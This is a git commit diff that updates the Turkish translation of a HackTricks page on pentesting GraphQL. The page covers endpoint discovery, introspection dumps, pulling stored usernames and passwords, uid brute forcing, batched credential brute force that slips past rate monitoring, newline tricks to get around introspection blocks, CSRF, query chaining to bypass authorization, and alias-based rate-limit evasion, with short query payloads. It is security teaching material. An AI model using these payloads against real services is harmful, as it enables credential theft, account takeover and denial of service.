mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['network-services-pentesting/pentesting-web/graphql.md', 'ne
This commit is contained in:
parent
5cf4c3f94d
commit
6f701cf127
4 changed files with 199 additions and 175 deletions
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
|
||||
<summary><strong>Sıfırdan kahraman seviyesine AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
|
||||
</details>
|
||||
|
||||
## Tanıtım
|
||||
|
||||
GraphQL, **verileri sorgulamak için basitleştirilmiş bir yaklaşım sunarak**, REST API'ye **verimli bir alternatif** olarak vurgulanmaktadır. REST'in aksine, verileri toplamak için genellikle çeşitli uç noktalarda çok sayıda istek gerektiren bir yapıya sahipken, GraphQL tüm gerekli bilgilerin **tek bir istek** aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak **geliştiricilere önemli ölçüde fayda sağlar**.
|
||||
GraphQL, backend'den veri sorgulamak için basitleştirilmiş bir yaklaşım sunan **REST API'ye karşı etkili bir alternatif** olarak vurgulanmaktadır. REST'in aksine, verileri toplamak için genellikle çeşitli uç noktalarda çok sayıda istek gerektiren bir süreç olmasıyla karşılaştırıldığında, GraphQL tüm gerekli bilgilerin **tek bir istek** aracılığıyla alınmasını sağlar. Bu basitleştirme, veri alım süreçlerinin karmaşıklığını azaltarak geliştiricilere önemli ölçüde **fayda sağlar**.
|
||||
|
||||
## GraphQL ve Güvenlik
|
||||
|
||||
GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkmaktadır. **GraphQL'ın varsayılan olarak kimlik doğrulama mekanizmalarını içermediği** önemli bir noktadır. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulanmamış kullanıcılara hassas bilgileri açığa çıkarabilir ve ciddi bir güvenlik riski oluşturabilir.
|
||||
GraphQL gibi yeni teknolojilerin ortaya çıkmasıyla yeni güvenlik açıkları da ortaya çıkmaktadır. Dikkate alınması gereken önemli bir nokta, **GraphQL'in varsayılan olarak kimlik doğrulama mekanizmalarını içermediğidir**. Bu tür güvenlik önlemlerini uygulamak geliştiricilerin sorumluluğundadır. Doğru kimlik doğrulama olmadan, GraphQL uç noktaları kimlik doğrulamasız kullanıcılara hassas bilgileri açığa çıkarabilir ve ciddi bir güvenlik riski oluşturabilir.
|
||||
|
||||
### Dizin Kaba Kuvvet Saldırıları ve GraphQL
|
||||
### Dizin Brute Force Saldırıları ve GraphQL
|
||||
|
||||
Açığa çıkarılmış GraphQL örneklerini tanımlamak için dizin kaba kuvvet saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:
|
||||
Açığa çıkarılmış GraphQL örneklerini tanımlamak için dizin brute force saldırılarında belirli yolların dahil edilmesi önerilir. Bu yollar şunlardır:
|
||||
|
||||
* `/graphql`
|
||||
* `/graphiql`
|
||||
|
@ -35,7 +35,7 @@ Açığa çıkarılmış GraphQL örneklerini tanımlamak için dizin kaba kuvve
|
|||
* `/graphql/api`
|
||||
* `/graphql/graphql`
|
||||
|
||||
Açık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL belgelerindeki keşif bölümüne bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
|
||||
Açık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesine olanak tanır. Bu, uç noktadan erişilebilen verileri anlamak için önemlidir. GraphQL'in keşif sistemi, bir şemanın desteklediği sorguları detaylandırarak bunu kolaylaştırır. Bu konuda daha fazla bilgi için GraphQL keşif belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### Parmak İzi
|
||||
|
||||
|
@ -43,7 +43,7 @@ Açık GraphQL örneklerinin tanımlanması, desteklenen sorguların incelenmesi
|
|||
|
||||
#### Evrensel sorgular <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
Bir URL'nin bir GraphQL hizmeti olup olmadığını kontrol etmek için bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya koyan GraphQL'in `__typename` alanına dayanır.
|
||||
Bir URL'nin bir GraphQL servisi olup olmadığını kontrol etmek için bir **evrensel sorgu**, `query{__typename}`, gönderilebilir. Yanıt `{"data": {"__typename": "Query"}}` içeriyorsa, URL'nin bir GraphQL uç noktası barındırdığını doğrular. Bu yöntem, sorgulanan nesnenin türünü ortaya çıkaran GraphQL'in `__typename` alanına dayanır.
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
|
@ -67,7 +67,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argüman türünü) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek için çok faydalı olacaktır.
|
||||
Bu sorgu ile tüm tipleri, alanlarını ve argümanlarını (ve argümanların türünü) çıkarabilirsiniz. Veritabanını sorgulamanın nasıl yapılacağını bilmek çok faydalı olacaktır.
|
||||
|
||||
![](<../../.gitbook/assets/image (950).png>)
|
||||
|
||||
|
@ -181,21 +181,21 @@ Son kod satırı, graphql'den tüm meta bilgileri (nesne adları, parametreler,
|
|||
|
||||
![](<../../.gitbook/assets/image (363).png>)
|
||||
|
||||
Eğer içgörüme izin verilmişse, [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) kullanarak tüm seçenekleri GUI'de görüntüleyebilirsiniz.
|
||||
Eğer açıksözlülük etkinse, tüm seçenekleri GUI'de görmek için [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager)'ı kullanabilirsiniz.
|
||||
|
||||
### Sorgulama
|
||||
|
||||
Veritabanında hangi tür bilgilerin kaydedildiğini bildiğimize göre, **bazı değerler çıkarmayı** deneyelim.
|
||||
|
||||
İçgörmede **doğrudan sorgulayabileceğiniz nesneleri** bulabilirsiniz (bir nesneyi sorgulayamazsınız çünkü var olduğu için). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin "_flags_" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.
|
||||
Açıksözlükte, **doğrudan sorgulayabileceğiniz nesneyi bulabilirsiniz** (çünkü bir nesneyi sorgulayamazsınız sadece var olduğu için). Aşağıdaki görüntüde "_queryType_"'ın "_Query_" olarak adlandırıldığını ve "_Query_" nesnesinin alanlarından birinin de "_flags_" olduğunu görebilirsiniz, ki bu da bir nesne türüdür. Dolayısıyla bayrak nesnesini sorgulayabilirsiniz.
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>)
|
||||
|
||||
Sorgunun türü "_flags_" ise "_Flags_"'dir ve bu nesne aşağıdaki gibi tanımlanmıştır:
|
||||
Sorgunun türü "_flags_"'in "_Flags_" olduğuna dikkat edin ve bu nesnenin aşağıdaki gibi tanımlandığını görebilirsiniz:
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-22-57 (1).png>)
|
||||
|
||||
Görüldüğü gibi, "_Flags_" nesneleri **isim** ve **değer** tarafından oluşturulmuştur. Sonuç olarak bayrakların tüm isimlerini ve değerlerini sorguyla alabilirsiniz:
|
||||
"_Flags_" nesnelerinin **ad** ve **değer** tarafından oluşturulduğunu görebilirsiniz. Sonra bayrakların tüm adlarını ve değerlerini aşağıdaki sorgu ile alabilirsiniz:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
|
@ -207,8 +207,8 @@ Sadece şu şekilde sorgulayabilirsiniz:
|
|||
```javascript
|
||||
query={hiddenFlags}
|
||||
```
|
||||
Başka bir örnekte, "_Query_" türü nesnesi içinde 2 nesne olan "_user_" ve "_users_" vardı.\
|
||||
Bu nesnelerin aramak için herhangi bir argümana ihtiyaç duymadığı durumlarda, istediğiniz verileri sormak suretiyle **tüm bilgileri alabilirsiniz**. Bu örnekte İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
|
||||
Başka bir örnekte, "_Query_" türü nesnesi içinde 2 nesne bulundu: "_user_" ve "_users_".\
|
||||
Bu nesnelerin aranması için herhangi bir argümana ihtiyaç duymadıklarında, istediğiniz verileri sormak suretiyle **tüm bilgileri alabilirsiniz**. Bu örnekte İnternet'ten kaydedilmiş kullanıcı adlarını ve şifreleri çıkarabilirsiniz:
|
||||
|
||||
![](<../../.gitbook/assets/image (880).png>)
|
||||
|
||||
|
@ -217,11 +217,11 @@ Ancak, bu örnekte bunu denerseniz şu **hatayı** alırsınız:
|
|||
![](<../../.gitbook/assets/image (1042).png>)
|
||||
|
||||
Görünüşe göre, bir şekilde "_**uid**_" türünde bir argüman kullanarak arama yapacak.\
|
||||
Neyse ki, zaten [Temel Numaralandırma](graphql.md#basic-enumeration) bölümünde bize gereken tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
Neyse ki, zaten [Temel Numaralandırma](graphql.md#basic-enumeration) bölümünde ihtiyacımız olan tüm bilgileri gösteren bir sorgu önerilmişti: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "_**user**_"'ın _Int_ türünde "_**uid**_" adında bir **arg**'ı olduğunu göreceksiniz.
|
||||
Eğer o sorguyu çalıştırdığımda sağlanan resmi okursanız, "_**user**_"'ın _Int_ türünde "_**uid**_" argümanına sahip olduğunu göreceksiniz.
|
||||
|
||||
Bu nedenle, hafif bir _**uid**_ bruteforce yaparak _**uid**=**1**_ için bir kullanıcı adı ve şifre elde ettim:\
|
||||
Bu nedenle, hafif bir _**uid**_ bruteforce gerçekleştirerek _**uid**=**1**_ için bir kullanıcı adı ve şifre elde ettim:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
![](<../../.gitbook/assets/image (90).png>)
|
||||
|
@ -234,11 +234,11 @@ Ve **numaralandırma aşaması** sırasında "_**dbuser**_" nesnesinin "_**user*
|
|||
|
||||
**Sorgu dizesi dökme hilesi (teşekkürler @BinaryShadow\_)**
|
||||
|
||||
Eğer bir String türü ile arama yapabilirseniz, örneğin: `query={theusers(description: ""){username,password}}` ve **boş bir dize ararsanız** tüm verileri dökecektir. (_Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte "**theusers**" kullanarak "**description**" adında bir String alanıyla arama yapabileceğinizi varsayalım_).
|
||||
Eğer bir String türü ile arama yapabilirseniz, örneğin: `query={theusers(description: ""){username,password}}` ve bir boş dize ararsanız, tüm verileri dökecektir. (_Bu örnek, öğreticilerin örneğiyle ilgili değildir, bu örnekte bir String alanı olan "**description**" ile "**theusers**" kullanarak arama yapabileceğinizi varsayalım_).
|
||||
|
||||
### Arama
|
||||
|
||||
Bu yapılandırmada, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; filmler ise adları ve derecelendirmeleriyle. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.
|
||||
Bu kurulumda, bir **veritabanı** kişileri ve filmleri içerir. **Kişiler** e-posta ve isimleriyle tanımlanır; **filmler** ise adları ve derecelendirmeleriyle. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.
|
||||
|
||||
Kişileri **isimlerine göre** arayabilir ve e-postalarını alabilirsiniz:
|
||||
```javascript
|
||||
|
@ -263,9 +263,9 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
Not alınan kişinin `subscribedMovies`'ın `name`'ini almak için nasıl belirtildiğine dikkat edin.
|
||||
Not alınan kişinin `subscribedMovies`'unun `name`'inin alınması belirtilmiştir.
|
||||
|
||||
Aynı zamanda **aynı anda birkaç nesne arayabilirsiniz**. Bu durumda, 2 film araması yapılır:
|
||||
Aynı zamanda **aynı anda birkaç nesne aranabilir**. Bu durumda, 2 film araması yapılır:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
|
@ -300,11 +300,11 @@ name
|
|||
|
||||
**Mutasyonlar, sunucu tarafında değişiklik yapmak için kullanılır.**
|
||||
|
||||
**İntrospeksiyon** içinde **tanımlanmış mutasyonları** bulabilirsiniz. Aşağıdaki görüntüde "_MutationType_" "_Mutation_" olarak adlandırılır ve "_Mutation_" nesnesi mutasyonların isimlerini içerir (bu durumda "_addPerson_" gibi):
|
||||
**İntrospeksiyon** içinde **tanımlanmış mutasyonları** bulabilirsiniz. Aşağıdaki resimde "_MutationType_" "_Mutation_" olarak adlandırılır ve "_Mutation_" nesnesi mutasyonların isimlerini içerir (bu durumda "_addPerson_" gibi):
|
||||
|
||||
![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-26-27 (1).png>)
|
||||
|
||||
Bu yapılandırmada, bir **veritabanı** **kişileri** ve **filmleri** içerir. **Kişiler**, **e-posta** ve **isimleri** ile tanımlanır; **filmler** ise **isim** ve **puanları** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve ayrıca filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterir.
|
||||
Bu yapıda bir **veritabanı**, **kişileri** ve **filmleri** içerir. **Kişiler**, **e-posta** ve **isimleri** ile tanımlanır; **filmler** ise **isim** ve **puanları** ile tanımlanır. **Kişiler** birbirleriyle arkadaş olabilir ve aynı zamanda filmlere sahip olabilir, veritabanı içindeki ilişkileri gösterirler.
|
||||
|
||||
Veritabanına **yeni filmler eklemek** için bir mutasyon aşağıdaki gibi olabilir (bu örnekte mutasyon `addMovie` olarak adlandırılmıştır):
|
||||
```javascript
|
||||
|
@ -317,9 +317,9 @@ rating
|
|||
}
|
||||
}
|
||||
```
|
||||
**Sorguda hem verilerin hem de veri türünün belirtildiğine dikkat edin.**
|
||||
**Sorguda hem veri değerleri hem de veri türleri belirtilmiştir.**
|
||||
|
||||
Ayrıca, veritabanı mevcut **arkadaşlar** ve **filmler** ile ilişkilendirilmiş **kişilerin** oluşturulmasını sağlayan `addPerson` adında bir **mutasyon** işlemini destekler. Arkadaşlar ve filmlerin, bunlara yeni oluşturulan kişiye bağlanmadan önce veritabanında mevcut olması çok önemlidir.
|
||||
Ayrıca, veritabanı mevcut **arkadaşlar** ve **filmler** ile ilişkilendirilmiş **kişilerin** oluşturulmasına izin veren `addPerson` adında bir **mutasyon** işlemini desteklemektedir. Yeni oluşturulan kişiye bağlantı kurmadan önce arkadaşların ve filmlerin veritabanında önceden var olması gerektiğini unutmamak önemlidir.
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
|
@ -349,12 +349,12 @@ releaseYear
|
|||
```
|
||||
### Yönerge Aşırı Yükleme
|
||||
|
||||
[**Bu raporda açıklanan zafiyetlerden birinde**](https://www.landh.tech/blog/20240304-google-hack-50000/) belirtildiği gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde bir yönergeyi milyonlarca kez çağırmayı içerir, böylece DoS saldırısı yapılabilir hale gelir.
|
||||
[**Bu raporda açıklanan zafiyetlerden birinde**](https://www.landh.tech/blog/20240304-google-hack-50000/) belirtildiği gibi, bir yönerge aşırı yükleme, sunucunun işlemleri boşa harcayacak şekilde milyonlarca kez bir yönergeyi çağırması anlamına gelir ve ardından DoS saldırısı yapılabilir hale gelir.
|
||||
|
||||
### 1 API isteğinde toplu kaba kuvvet saldırısı
|
||||
### 1 API isteğinde kaba kuvvet saldırısını topluca yapma
|
||||
|
||||
Bu bilgi [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/) adresinden alınmıştır.\
|
||||
**Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek GraphQL API üzerinden kimlik doğrulama**. Bu klasik bir kaba kuvvet saldırısıdır, ancak şimdi GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkün hale gelmiştir. Bu yaklaşım, harici hız izleme uygulamalarını aldatarak her şeyin yolunda olduğunu ve şifreleri tahmin etmeye çalışan bir botun olmadığını düşündürür.
|
||||
**Farklı kimlik bilgileri ile birlikte birçok sorguyu aynı anda göndererek GraphQL API üzerinden kimlik doğrulama**. Bu klasik bir kaba kuvvet saldırısıdır, ancak şimdi GraphQL toplu işleme özelliği sayesinde HTTP isteği başına birden fazla giriş/şifre çifti göndermek mümkün hale gelmiştir. Bu yaklaşım, harici hız izleme uygulamalarını aldatarak her şeyin yolunda olduğunu ve şifre denemesi yapan bir botun olmadığını düşünmelerine neden olabilir.
|
||||
|
||||
Aşağıda, **aynı anda 3 farklı e-posta/şifre çifti** ile uygulama kimlik doğrulama isteğinin en basit gösterimi bulunmaktadır. Açıkça aynı şekilde tek bir istekte binlerce göndermek mümkündür:
|
||||
|
||||
|
@ -366,15 +366,15 @@ Yanıt ekran görüntüsünden görebileceğimiz gibi, ilk ve üçüncü istekle
|
|||
|
||||
## GraphQL İntrospeksiyon Olmadan
|
||||
|
||||
Daha fazla **graphql uç noktası introspeksiyonu devre dışı bırakıyor**. Bununla birlikte, graphql beklenmeyen bir istek aldığında fırlattığı hatalar, [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) gibi araçlar için şemayı büyük ölçüde yeniden oluşturmak için yeterlidir.
|
||||
Daha fazla **graphql uç noktası introspeksiyonu devre dışı bırakıyor**. Bununla birlikte, graphql beklenmeyen bir istek alındığında fırlattığı hatalar, [**clairvoyance gibi**](https://github.com/nikitastupin/clairvoyance) araçların çoğu şemayı yeniden oluşturmasına olanak tanır.
|
||||
|
||||
Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) **Burp üzerinden geçen GraphQL API isteklerini izler** ve her yeni sorguyu gördüğünde dahili bir GraphQL **şeması oluşturur**. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir introspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**buraya bakın**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Ayrıca, Burp Suite uzantısı [**GraphQuail**](https://github.com/forcesunseen/graphquail) uzantısı, Burp üzerinden geçen GraphQL API isteklerini **izler** ve her yeni sorguyu gördüğünde içsel bir GraphQL **şeması oluşturur**. Ayrıca şemayı GraphiQL ve Voyager için açığa çıkarabilir. Uzantı, bir introspeksiyon sorgusu aldığında sahte bir yanıt döndürür. Sonuç olarak, GraphQuail API içinde kullanılabilecek tüm sorguları, argümanları ve alanları gösterir. Daha fazla bilgi için [**burayı kontrol edin**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
[**GraphQL varlıklarını keşfetmek için güzel bir kelime listesi burada bulunabilir**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### GraphQL introspeksiyon savunmalarını atlatma <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
API'lerde introspeksiyon sorgularına yönelik kısıtlamaları atlatmak için, `__schema` kelimesinden sonra **özel bir karakter eklemek** etkili olmaktadır. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'in görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek, kısıtlamalar atlatılabilir. Örneğin, `__schema`'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:
|
||||
API'lerde introspeksiyon sorgularına yönelik kısıtlamaları atlatmak için, `__schema` kelimesinden sonra **özel bir karakter eklemek** etkili olabilir. Bu yöntem, introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. `__schema` kelimesine odaklanarak introspeksiyonu engellemeyi amaçlayan regex desenlerinde yaygın geliştirici hatalarını sömürür. GraphQL'ın görmezden geldiği ancak regex'te hesaba katılmamış olabilecek karakterler ekleyerek (**boşluklar, yeni satırlar ve virgüller** gibi), kısıtlamalar atlatılabilir. Örneğin, `__schema`'dan sonra bir satır sonu ekleyen bir introspeksiyon sorgusu, bu tür savunmaları atlayabilir:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
|
@ -400,9 +400,9 @@ CSRF nedir bilmiyorsanız aşağıdaki sayfayı okuyun:
|
|||
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Dışarıda, **CSRF tokenları olmadan yapılandırılmış** birkaç GraphQL uç noktası bulabileceksiniz.
|
||||
Dışarıda, birkaç GraphQL uç noktası **CSRF belirteçleri olmadan yapılandırılmış olarak** bulabileceksiniz.
|
||||
|
||||
GraphQL istekleri genellikle **`application/json`** Content-Type'ı kullanılarak POST istekleri aracılığıyla gönderilir.
|
||||
GraphQL istekleri genellikle **`application/json`** Content-Type kullanılarak POST istekleri aracılığıyla gönderilir.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
|
@ -410,23 +410,23 @@ Ancak, çoğu GraphQL uç noktası ayrıca **`form-urlencoded` POST isteklerini
|
|||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Bu nedenle, önceki istekler gibi CSRF istekleri **önişlem istekleri olmadan** gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de **değişiklikler** yapmak mümkündür.
|
||||
Bu nedenle, önceki gibi CSRF istekleri **önişlem istekleri olmadan** gönderildiğinden, bir CSRF'yi istismar ederek GraphQL'de **değişiklikler** yapmak mümkündür.
|
||||
|
||||
Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax`'tir. Bu, çerezin yalnızca üçüncü taraf web sitelerinden GET isteklerinde gönderileceği anlamına gelir.
|
||||
Ancak, Chrome'un `samesite` bayrağının yeni varsayılan çerez değeri `Lax` olduğuna dikkat edin. Bu, çerezin yalnızca üçüncü taraf web sitelerinden GET isteklerinde gönderileceği anlamına gelir.
|
||||
|
||||
Ayrıca, **sorgu isteğinin** genellikle bir **GET** isteği olarak da gönderilebileceğini ve CSRF belirtecinin bir GET isteğinde doğrulanmayabileceğini unutmayın.
|
||||
Ayrıca, **sorgu isteğinin** genellikle bir **GET** isteği olarak da gönderilebileceğini ve CSRF belirtecinin GET isteğinde doğrulanmayabileceğini unutmayın.
|
||||
|
||||
Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** **kullanarak**, kullanıcının kimlik bilgilerini istismar ederek GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
|
||||
Ayrıca, bir [**XS-Search**](../../pentesting-web/xs-search/) **saldırısını** istismar ederek kullanıcının kimlik bilgilerini istismar ederek GraphQL uç noktasından içerik sızdırmak mümkün olabilir.
|
||||
|
||||
Daha fazla bilgi için [**buradaki orijinal yazıya**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) **bakın**.
|
||||
Daha fazla bilgi için **şu orijinal yazıya** [**buradan**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html) **bakın**.
|
||||
|
||||
## GraphQL'de Yetkilendirme
|
||||
|
||||
Uç noktada tanımlanan birçok GraphQL işlevi, yalnızca istekte bulunanın kimlik doğrulamasını kontrol edebilir ancak yetkilendirmeyi kontrol etmeyebilir.
|
||||
|
||||
Sorgu giriş değişkenlerini değiştirmek, hassas hesap ayrıntılarının [sızdırılmasına](https://hackerone.com/reports/792927) neden olabilir.
|
||||
Sorgu giriş değişkenlerinin değiştirilmesi, hassas hesap ayrıntılarının [sızdırılmasına](https://hackerone.com/reports/792927) neden olabilir.
|
||||
|
||||
Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçirmeye bile yol açabilir.
|
||||
Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hatta hesap ele geçirmeye yol açabilir.
|
||||
```javascript
|
||||
{
|
||||
"operationName":"updateProfile",
|
||||
|
@ -436,21 +436,21 @@ Mutasyon, başka bir hesap verisini değiştirmeye çalışarak hesap ele geçir
|
|||
```
|
||||
### GraphQL'de Yetkilendirme Atlatma
|
||||
|
||||
[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln), zayıf bir kimlik doğrulama sisteminin atlatılmasını sağlayabilir.
|
||||
[Query'leri zincirleme](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) zayıf bir kimlik doğrulama sistemini atlayabilir.
|
||||
|
||||
Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca buna ilişkin forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu eklenerek atlatılabilir, bu durumda "register" ve sisteme yeni bir kullanıcı olarak kaydedilmesi için bir kullanıcı değişkeni ekliyoruz.
|
||||
Aşağıdaki örnekte işlemin "forgotPassword" olduğunu ve yalnızca onunla ilişkili forgotPassword sorgusunun yürütülmesi gerektiğini görebilirsiniz. Bu, sona bir sorgu ekleyerek atlatılabilir, bu durumda "register" ve sisteme yeni bir kullanıcı olarak kaydedilmesi için bir kullanıcı değişkeni ekliyoruz.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## GraphQL'de Aliases Kullanarak Hız Sınırlarını Atlatma
|
||||
|
||||
GraphQL'de, aliases, bir API isteği yapılırken **özelliklerin açıkça adlandırılmasına** olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türden birden fazla örneği** almak için özellikle kullanışlıdır. Aliases, GraphQL nesnelerinin aynı ada sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.
|
||||
GraphQL'de, alias'ler API isteği yapılırken **özelliklerin açıkça adlandırılmasına** olanak tanıyan güçlü bir özelliktir. Bu yetenek, tek bir istekte **aynı türden birden fazla örneği** almak için özellikle kullanışlıdır. Alias'ler, GraphQL nesnelerinin aynı isme sahip birden fazla özelliğe sahip olmasını engelleyen kısıtlamayı aşmak için kullanılabilir.
|
||||
|
||||
GraphQL aliases'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
GraphQL alias'lerinin detaylı anlaşılması için aşağıdaki kaynak önerilir: [Alias'ler](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
